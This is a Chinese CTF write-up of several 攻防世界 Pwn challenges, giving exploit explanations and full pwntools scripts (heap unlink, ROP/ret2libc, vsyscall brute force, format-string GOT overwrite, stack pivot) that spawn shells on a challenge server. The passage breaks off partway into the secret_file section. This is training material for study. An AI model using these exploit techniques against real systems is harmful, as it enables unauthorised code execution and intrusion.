【WriteUp】攻防世界--Pwn题解(Part 2)

第一个 Part 2 !!!

4-ReeHY-main-100

Description:

暂无


Solution:

方法一:

利用 unlink 修改存放堆地址链表上的地址为要修改的 got 表地址
然后修改 got 表来进行提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 0
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./4-ReeHY-main')
else:
p = remote('111.198.29.45', 45440)
elf = ELF('./4-ReeHY-main', checksec=False)
got_free = elf.got['free']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_edit_heap = 0x6020E0


def create(create_size, create_cun, create_content):
p.sendafter('$ ', '1')
p.sendafter('Input size\n', str(create_size))
p.sendafter('Input cun\n', str(create_cun))
p.sendafter('Input content\n', create_content)


def delete(delete_idx):
p.sendafter('$ ', '2')
p.sendafter('Chose one to dele\n', str(delete_idx))


def edit(edit_idx, edit_content):
p.sendafter('$ ', '3')
p.sendafter('Chose one to edit\n', str(edit_idx))
p.sendafter('Input the content\n', edit_content)


p.sendafter('$ ', 'binLep')
create(0x100, 0, '/bin/sh')
create(0x100, 1, 'a' * 8)
create(0x100, 2, 'b' * 8)
create(0x100, 3, 'c' * 8)
delete(2)
delete(3)
pd = p64(0) + p64(0x101) # 绕过对堆空间大小的检查,同时伪造空闲堆块设置unlink
pd += p64(addr_edit_heap + 0x08) + p64(addr_edit_heap + 0x10)
pd += 'a' * 0xe0
pd += p64(0x100) + p64(0x100)
create(0x200, 2, pd)
delete(3)
pd = p64(1)
pd += p64(addr_edit_heap + 8) + p64(1)
pd += p64(got_free) + p64(1)
pd += p64(got_puts) + p64(1)
edit(2, pd)
edit(2, p64(plt_puts))
delete(3)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libc = LibcSearcher('puts', addr_puts)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')

edit(2, p64(addr_system))
delete(0)
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

方法二:

创建堆块的函数中存在整数溢出,可以写入很长的字符实现栈溢出

memcpy函数可以用\x00绕过

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 0
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./4-ReeHY-main')
else:
p = remote('111.198.29.45', 45440)
elf = ELF('./4-ReeHY-main', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_rdi_r = 0x400da3 # pop rdi ; ret
addr_main = 0x400C8C

# gdb.attach(p,"b *0x400A51\nb *0x400b20\nc")
p.sendafter('$ ', 'binLep')
p.sendafter('$ ', '1')
p.sendafter('Input size\n', str(0xffffffff))
p.sendafter('Input cun\n', '0')
pd = '\x00' * 0x98
pd += p64(addr_rdi_r)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendafter('Input content\n', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libc = LibcSearcher('puts', addr_puts)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

p.sendafter('$ ', 'binLep')
p.sendafter('$ ', '1')
p.sendafter('Input size\n', str(0xffffffff))
p.sendafter('Input cun\n', '0')
pd = '\x00' * 0x98
pd += p64(addr_rdi_r)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_main)
p.sendafter('Input content\n', pd)
p.interactive()

Flag:

1
动态靶机

babyfengshui

Description:

这个shell超级有用!看看你能不能拿到flag!二进制可以发现在/home/ctf/上的服务器。


Solution:

这题给的 libc 文件也是无效的

题目主要就是考申请堆块时,如果有比申请堆块大小大的空闲块存在,则把新堆块分配到空闲块的地址

之后就可以绕过 s 的地址加上写入字符串的长度是否会超过自己的 v2 的地址

把中间另一个堆中的 v2 块的 fd 改写,就可以实现在改写的地址内写入的操作从而提权了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

debug = 0
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./babyfengshui')
else:
p = remote('111.198.29.45', 35161)
elf = ELF('./babyfengshui', checksec=False)
got_free = elf.got['free']


def add(add_size, add_text):
p.sendlineafter('Action: ', '0')
p.sendlineafter('size of description: ', str(add_size))
p.sendlineafter('name: ', 'binLep')
p.sendlineafter('text length: ', str(len(add_text)))
p.sendlineafter('text: ', add_text)


def delete(delete_idx):
p.sendlineafter('Action: ', '1')
p.sendlineafter('index: ', str(delete_idx))


def display(display_idx):
p.sendlineafter('Action: ', '2')
p.sendlineafter('index: ', str(display_idx))
p.recvuntil('description: ')


def update(update_idx, update_text):
p.sendlineafter('Action: ', '3')
p.sendlineafter('index: ', str(update_idx))
p.sendlineafter('text length: ', str(len(update_text)))
p.sendlineafter('text: ', update_text)


add(0x80, '/bin/sh') # 0
add(0x80, '') # 1
add(0x80, '') # 2
delete(1)
pd = 'a' * 0x108
pd += p32(0) + p32(0x89)
pd += 'b' * 0x80
pd += p32(0) + p32(0x89)
pd += p32(got_free)
add(0x100, pd) # 3
display(2)

addr_free = u32(p.recv(4))
libc = LibcSearcher('free', addr_free)
libcbase = addr_free - libc.dump('free')
addr_system = libcbase + libc.dump('system')

update(2, p32(addr_system))
delete(0)
success('got_free = ' + hex(got_free))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

Flag:

1
动态靶机

Aul

Description:

暂无


Solution:

一个 lua 逃逸,挺直白的,直接输入os.execute("/bin/sh")提权

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
-- http://www.playwithlua.com/?p=28

function make_board(size)
local board = { size = size }
setmetatable(board, { __tostring = board_tostring })

for n = 0, size * size - 1 do
board[n] = 0
end

return board
end

function populate_board(board, filled, seed)
local size = board.size
if seed then math.randomseed(seed) end
filled = filled or size * size * 3 / 4

local function rand()
local c
repeat c = math.random(size * size) - 1 until board[c] == 0
return c
end

if filled > 0 then
for _,v in ipairs{'a','b','c','d'} do board[rand()] = v end

for n = 1, filled-4 do
board[rand()] = math.random(4)
end

return fall(board)
end
end

function board_tostring(board)
local lines = {}
local size = board.size
for y = 0, size - 1 do
local line = "|"
for x = 0, size - 1 do
line = line .. " " .. board[x+y*size]
end
table.insert(lines, line .. " |")
end
return table.concat(lines,"\n")
end

function fall(board)
local size = board.size
local new_board = make_board(size, 0)

local function fall_column(col)
local dest = size - 1
for y = size-1, 0, -1 do
if board[y*size + col] ~= 0 then
new_board[dest*size + col] = board[y*size + col]
dest = dest - 1
end
end
end

for x=0, size-1 do
fall_column(x)
end

return new_board
end

function rotate(board)
local size = board.size
local new_board = make_board(size, 0)

for y = 0, size-1 do
local dest_col = size - 1 - y

for n = 0, size-1 do
new_board[n*size + dest_col] = board[y*size + n]
end
end

return new_board
end

function crush(board)
local size = board.size
local new_board = make_board(size, 0)
local crushers = {'a','b','c','d'}

for n=0, size-1 do
new_board[n] = board[n]
end

for n = size, size*size - 1 do
if board[n-size] == crushers[board[n]] then
new_board[n] = 0
else
new_board[n] = board[n]
end
end

return new_board
end

function rotate_left(board)
return rotate(rotate(rotate(board)))
end

function readAll(file)
local f = io.open(file, "rb")
local content = f:read("*all")
f:close()
return content
end

function help()
local l = string.sub(readAll("server.luac"), 2)

writeraw(l, string.len(l))
end

quit = false
function exit()
quit = true
end

function run_step(board)
local cmd = readline()

if(string.len(cmd) == 0) then
exit()
return nil
end

-- prevent injection attacks
if(string.find(cmd, "function")) then
return nil
end

if(string.find(cmd, "print")) then
return nil
end

local f = load("return " .. cmd)()

if f == nil then
return nil
end

return f(board)
end

function game()
local board = populate_board(make_board(8))

repeat

writeline(board_tostring(board) .. "\n")

local b = run_step(board)

if quit then
break
end

if b ~= nil then
board = b
board = fall(crush(fall(board)))
else
writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n")
end

until false
end

writeline("let's play a game\n")

game()

Flag:

1
动态靶机

welpwn

Description:

暂无


Solution:

这题主要是因为 echo 函数有个\x00截断导致程序无法正常布置 payload

但是一开始 main 函数里面是用 read 函数读取的字符串,所以没有截断

用 gdb 查看栈空间发现 echo 的 ret 地址距离我们在 main 函数里正常布置的 payload 相差了0x28,如下:

1
2
3
4
5
6
7
8
9
pwndbg> stack 40
00:0000rsp 0x7ffffa5f15480x40089c (__libc_csu_init+92) ← pop r12(ret)
01:00080x7ffffa5f15500x6161616161616161 ('aaaaaaaa')
... ↓
04:00200x7ffffa5f15680x40089c (__libc_csu_init+92) ← pop r12
05:00280x7ffffa5f15700x4008a3 (__libc_csu_init+99) ← pop rdi
06:00300x7ffffa5f15780x601018 (puts@got.plt) → 0x4005a6 (puts@plt+6) ← push 0 /* 'h' */
07:00380x7ffffa5f15800x40059cnop dword ptr [rax]
08:00400x7ffffa5f15880x4007cd (main) ← push rbp

所以我们可以用 pop 来改变 rsp 的高度,pop 一次可以使 rsp + 8,所以这里我们需要 pop 4 次(因为 ret 也会使 rsp + 8)

找有四个 pop 的地址作为铺垫,后面就是 ret2libc,随便做了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./welpwn')
else:
p = remote('111.198.29.45', 45261)
elf = ELF('./welpwn', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_rdi_ret = 0x4008a3
addr_r12_r13_r14_r15_ret = 0x40089c
addr_main = 0x4007CD


# gdb.attach(p, "b *0x4007cb\nc")
pd = 'a' * 0x18
pd += p64(addr_r12_r13_r14_r15_ret)
pd += p64(addr_rdi_ret)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendafter('Welcome to RCTF\n', pd)
p.recvuntil('\x9c\x08\x40')

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libc = LibcSearcher('puts', addr_puts)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

pd = 'a' * 0x18
pd += p64(addr_r12_r13_r14_r15_ret)
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_main)
p.sendafter('Welcome to RCTF\n', pd)
p.interactive()

Flag:

1
动态靶机

1000levevls

Description:

暂无


Solution:

写个详解,拿到题目找漏洞,可以在sub_E43函数中找到这样一个栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_BOOL8 __fastcall sub_E43(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]

buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( sub_E43((a1 - 1)) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol(&buf, 0LL, 10);
return v3 == v8;
}

这里read能读 0x400 的数据,而 buf 只需要 0x38 个垃圾数据即可覆盖到 ret

这个函数是个递归函数,在递归过程中,rsp 会不断减小,所以我们不能在递归过程中利用溢出

看看程序开了什么保护机制

1
2
3
4
5
6
7
root@lepPwn:~/CTF/Pwn# checksec 100levels
[*] '/root/CTF/Pwn/100levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

可以看到开启了 PIE ,那么现在的首要问题就是如何才能得到正确的函数地址

在 hint 对应的sub_D06函数中我们可以找到答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_D06()
{
signed __int64 v1; // [rsp+8h] [rbp-108h]
int v2; // [rsp+10h] [rbp-100h]
__int16 v3; // [rsp+14h] [rbp-FCh]

if ( unk_20208C )
{
sprintf(&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 'N NWP ON';
v2 = 'UF O';
v3 = 'N';
}
return puts(&v1);
}

但是我们没有任何手段能够使unk_20208C上面的值变成 1,这时候在汇编里我们可以看到真正的 hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000000D06 ; __unwind {
.text:0000000000000D06 push rbp
.text:0000000000000D07 mov rbp, rsp
.text:0000000000000D0A sub rsp, 110h
.text:0000000000000D11 mov rax, cs:system_ptr
.text:0000000000000D18 mov [rbp+var_110], rax
.text:0000000000000D1F lea rax, unk_20208C
.text:0000000000000D26 mov eax, [rax]
.text:0000000000000D28 test eax, eax
.text:0000000000000D2A jz short loc_D57
.text:0000000000000D2C mov rax, [rbp+var_110]
.text:0000000000000D33 lea rdx, [rbp+var_110]
.text:0000000000000D3A lea rcx, [rdx+8]
.text:0000000000000D3E mov rdx, rax
.text:0000000000000D41 lea rsi, aHintP ; "Hint: %p\n"
.text:0000000000000D48 mov rdi, rcx ; s
.text:0000000000000D4B mov eax, 0
.text:0000000000000D50 call _sprintf
.text:0000000000000D55 jmp short loc_D7C

可以看到system_ptr的值最后被存到了[rbp+var_110]

因为子函数的 rbp 同主函数的 rbp,所以在 go 对应的sub_B94函数中,rbp 也是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int sub_B94()
{
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 v5; // [rsp+10h] [rbp-110h]
signed __int64 v6; // [rsp+10h] [rbp-110h]
signed __int64 v7; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]

puts("How many levels?");
v2 = sub_B00();
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = sub_B00();
v6 = v5 + v3;
if ( v6 > 0 )
{
if ( v6 <= 99 )
{
v7 = v6;
}
else
{
puts("You are being a real man.");
v7 = 100LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( sub_E43(v7) != 0 )
{
v1 = time(0LL);
sprintf(&v8, "Great job! You finished %d levels in %d seconds\n", v7, (v1 - v4), v3);
puts(&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}

我们分析这个函数,v5 所在的地址正是之前被赋值system_ptr的地址,这里是一个未初始化漏洞

在 v2 小于等于 0 时,v5 不会被赋值;接下来输入的 v3 的值会被加到 v5 所对应的值上,那么假如你输入的 v3 是 1,最后 v5 的值就会是system + 1

我们可以利用这个函数来泄露system的地址,思路就是 v5 加上你输入的值是否会小于 0,这里没有等于是因为有数值范围

假使小于 0,就会输出Coward Coward Coward Coward Coward,然后转到菜单,继续进入 go 对应的sub_B94函数进行爆破

如果大于 0,那么就把第一次大于 0 的数保存到爆破的地址中,利用溢出将 ret 改为栈中存放的start函数地址恢复栈空间,继续爆破下一位

经过 gdb 调试,能够确定爆破范围为0x7fXXXXXXX390,要注意最后在0xX390时,v5 与 v3 相加得 0 也会输出Coward Coward Coward Coward Coward,所以需要加回 0x1000

接下来就是如何才能构造 rop 的问题了,一开始我们不知道任何函数的偏移量,如何覆盖到 start 函数使程序循环运行,这就用到了vsyscall

vsyscall 的地址始终是固定的,不会受 ASLR 影响。这三个函数都带有 ret,我们可以利用它一步步将 rsp 移动到高地址

vsyscall 基地址:0xffffffffff600000

1
2
3
4
5
#define VSYSCALL_ADDR_vgettimeofday   0xffffffffff600000

0xffffffffff600000 mov rax, 0x60
0xffffffffff600007 syscall
0xffffffffff600009 ret
1
2
3
4
5
#define VSYSCALL_ADDR_vtime           0xffffffffff600400

0xffffffffff600400 mov rax, 0xc9
0xffffffffff600407 syscall
0xffffffffff600409 ret
1
2
3
4
5
#define VSYSCALL_ADDR_vgetcpu          0xffffffffff600800

0xffffffffff600800 mov rax, 0x135
0xffffffffff600807 syscall
0xffffffffff600809 ret

随便选一个地址就行,用 gdb 调试算出任意一个能跳到 start 函数所需覆盖为 vsyscall 函数地址的数目即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./100levels')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 39340)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./100levels', checksec=False)
# gdb.attach(p, "b *$rebase(0xF45)" + "\nc" * 99)
# gdb.attach(p, "b *$rebase(0x102)\nc")


def answer():
p.recvuntil('Question: ')
num1 = int(p.recvuntil(' ')[: -1])
p.recvuntil('* ')
num2 = int(p.recvuntil(' ')[: -1])
p.sendafter('Answer:', str(num1 * num2))


def brute_force(addr):
p.sendafter('Choice:\n', '2')
p.sendafter('Choice:\n', '1')
p.sendafter('How many levels?\n', '0')
p.sendafter('Any more?\n', str(-addr))


addr_system_start = 0x7f0000000390
for i in range(9, 2, -1):
for j in range(15, -1, -1):
addr_system_tmp = addr_system_start + (1 << (i * 4)) * j
brute_force(addr_system_tmp)
tmp = p.recv(13)
if 'Coward Coward' not in tmp:
addr_system_start = addr_system_tmp
info('addr_system_start = ' + hex(addr_system_start))
for k in range(0, 99):
answer()
pd = 'a' * 0x38
pd += p64(0xffffffffff600000) * 28
p.sendafter('Answer:', pd)
break

addr_system = addr_system_start + 0x1000
libcbase = addr_system - libc.sym['system']
addr_rdi_ret = libcbase + 0x21102
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
p.sendafter('Choice:\n', '1')
p.sendafter('How many levels?\n', '0')
p.sendafter('Any more?\n', '1')
success('libcbase = ' + hex(libcbase))
success('addr_rdi_ret = ' + hex(addr_rdi_ret))
success('addr_system = ' + hex(addr_system))
success('addr_bin_sh = ' + hex(addr_bin_sh))
pd = 'a' * 0x38
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendafter('Answer:', pd)
p.interactive()

Flag:

1
动态靶机

greeting-150

Description:

暂无


Solution:

格式化字符串的题,思路就是覆盖fini_array_start函数地址来进行第二次利用

ps:fini_array只能令程序复原一次

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./greeting-150')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 43647)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./greeting-150', checksec=False)
got_strlen = 0x8049a54
plt_system = 0x8048490
addr_fini_array = 0x8049934
addr__start = 0x80484f0

# gdb.attach(p, "b *0x0804864F\nc\nsi\nb *0x08048677")
pd = 'aa'
pd += p32(got_strlen)
pd += p32(addr_fini_array)
pd += p32(got_strlen + 2)
pd += p32(got_strlen + 3)
pd += '%33900d%12$hn'
pd += '%96d%13$hn'
pd += '%20d%14$hhn'
pd += '%4d%15$hhn'
p.sendlineafter('Please tell me your name... ', pd)
p.sendlineafter('Please tell me your name... ', '/bin/sh')
info('len = ' + str(len(pd)))
p.interactive()

Flag:

1
动态靶机

hacknote

Description:

暂无


Solution:

没给附件,在这先占个位置


Flag:

1
动态靶机

Recho

Description:

暂无


Solution:

这题的难点在于这个循环如何结束,read 一直都是真,下面的方法可以让 read 返回 -1

如果是在 linux 终端上直接运行,我们可以用Ctrl + D,但是远程就无法处理这种信号,不过 pwntools 提供了一个 shutdown 功能,该功能可以关闭流

如果我们关闭输入流,这个循环就结束了,但是这样就不能够再次 ROP 到主函数获取输入,因为关闭后就不能打开,除非重新运行,所以必须一次性完成所有操作

然后列一下重要的做题点

制造 syscall

用 ROPgadget 是找不到 syscall 的,因为我们要自己构造

open、write、read、alarm 都是系统调用,这里没有用的就是 alarm 了,所以我们需要修改它的 got 表,让它的 plt 表变成 syscall

alarm 周边函数一览

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00000000000CC200
.text:00000000000CC200 ; =============== S U B R O U T I N E =======================================
.text:00000000000CC200
.text:00000000000CC200
.text:00000000000CC200 public alarm
.text:00000000000CC200 alarm proc near ; CODE XREF: lckpwdf+18E↓p
.text:00000000000CC200 ; lckpwdf+1D9↓p ...
.text:00000000000CC200 ; __unwind {
.text:00000000000CC200 mov eax, 25h ; '%'
.text:00000000000CC205 syscall ; LINUX - sys_alarm
.text:00000000000CC207 cmp rax, 0FFFFFFFFFFFFF001h
.text:00000000000CC20D jnb short loc_CC210
.text:00000000000CC20F retn

利用这个地址即可完成加 5 的修改

1
0x000000000040070d : add byte ptr [rdi], al ; ret

原本想提权的,但是提权要两次利用 ROP emmmm

context.log_level = 'debug'需要开着,不然没法读返回的内容,我也不知道为啥

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./Recho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 48200)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Recho', checksec=False)
plt_alarm = elf.plt['alarm']
got_alarm = elf.got['alarm']
addr_bss = elf.bss()
addr_rdi = 0x4008a3
addr_rax = 0x4006fc
addr_rsi_r15 = 0x4008a1
addr_rdx = 0x4006fe
addr_rop_1 = 0x40070d # add byte ptr [rdi], al ; ret
addr_flag = 0x601058

# gdb.attach(p, "b *0x400833\nb *0x4005f0\nc\nc")
# make syscall
pd = 'a' * 0x38
pd += p64(addr_rdi)
pd += p64(got_alarm)
pd += p64(addr_rax)
pd += p64(5)
pd += p64(addr_rop_1)

# make open
pd += p64(addr_rsi_r15)
pd += p64(0)
pd += p64(0)
pd += p64(addr_rdx)
pd += p64(0)
pd += p64(addr_rdi)
pd += p64(addr_flag)
pd += p64(addr_rax)
pd += p64(2)
pd += p64(plt_alarm)

# make read
pd += p64(addr_rsi_r15)
pd += p64(addr_bss)
pd += p64(0)
pd += p64(addr_rdx)
pd += p64(0x30)
pd += p64(addr_rdi)
pd += p64(3)
pd += p64(addr_rax)
pd += p64(0)
pd += p64(plt_alarm)

# make write
pd += p64(addr_rsi_r15)
pd += p64(addr_bss)
pd += p64(0)
pd += p64(addr_rdx)
pd += p64(0x30)
pd += p64(addr_rdi)
pd += p64(1)
pd += p64(addr_rax)
pd += p64(1)
pd += p64(plt_alarm)
p.sendafter('Welcome to Recho server!\n', str(len(pd)))
p.send(pd)
p.shutdown()
p.recv(0x2a)
print p.recvuntil('}')

Flag:

1
动态靶机

format2

Description:

你能从这个服务器获得身份验证吗?


Solution:

静态链接的文件,可以看到出题人写了后门

1
2
3
4
5
6
7
8
9
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}

这里存在栈迁移的漏洞,因为 input 变量能写 12 个字符,可以通过 v4 变量覆盖到 auth 函数的 ebp 上

然后经过两次 leave 函数就能将 esp 改到漏洞点的位置

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]

memcpy(&v4, &input, a1);
s2 = calc_md5(&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

这里是 exp 演示,注意观察 ebp 和 esp

step1:

1
2
3
4
5
6
 EBP  0xffd2fe480x811eb40 (input) ← 0x61616161 ('aaaa')
ESP 0xffd2fe200x80da684cmp byte ptr [edi], dh /* 'f87cd601aa7fedca99018a8be88eda34' */
EIP 0x804930b (auth+111) → leave
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x804930b <auth+111> leave
0x804930c <auth+112> ret

step2:

1
2
3
4
5
6
 EBP  0x811eb40 (input) ← 0x61616161 ('aaaa')
ESP 0xffd2fe4c0x8049407 (main+250) ← cmp eax, 1
EIP 0x804930c (auth+112) ← ret
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x804930b <auth+111> leave
0x804930c <auth+112> ret <0x8049407; main+250>

step3:

1
2
3
4
5
6
7
8
9
10
11
12
13
 EBP  0x811eb40 (input) ← 0x61616161 ('aaaa')
ESP 0xffd2fe500xc /* '\x0c' */
EIP 0x8049424 (main+279) ← leave
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x804930b <auth+111> leave
0x804930c <auth+112> ret

0x8049407 <main+250> cmp eax, 1
0x804940a <main+253> jne main+274 <0x804941f>

0x804941f <main+274> mov eax, 0
0x8049424 <main+279> leave
0x8049425 <main+280> ret

step4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 EBP  0x61616161 ('aaaa')
ESP 0x811eb44 (input+4) → 0x8049284 (correct+37) ← mov dword ptr [esp], 0x80da66f
EIP 0x8049425 (main+280) ← ret
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x804930c <auth+112> ret

0x8049407 <main+250> cmp eax, 1
0x804940a <main+253> jne main+274 <0x804941f>

0x804941f <main+274> mov eax, 0
0x8049424 <main+279> leave
0x8049425 <main+280> ret <0x8049284; correct+37>

0x8049284 <correct+37> mov dword ptr [esp], 0x80da66f
0x804928b <correct+44> call system <0x805b2b0>

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import base64

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./format2')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 38083)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)

# gdb.attach(p, "b *0x080492BA\nb *0x804941F\nc")
addr_system = 0x08049284
addr_input = 0x0811EB40
pd = 'a' * 4
pd += p32(addr_system)
pd += p32(addr_input)
p.sendlineafter('Authenticate : ', base64.b64encode(pd))
p.recv()
p.interactive()

Flag:

1
动态靶机

secret_file

Description:

机密


Solution:

主要函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
int *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
__int64 v11; // [rsp+0h] [rbp-308h]
char *lineptr; // [rsp+8h] [rbp-300h]
char dest; // [rsp+10h] [rbp-2F8h]
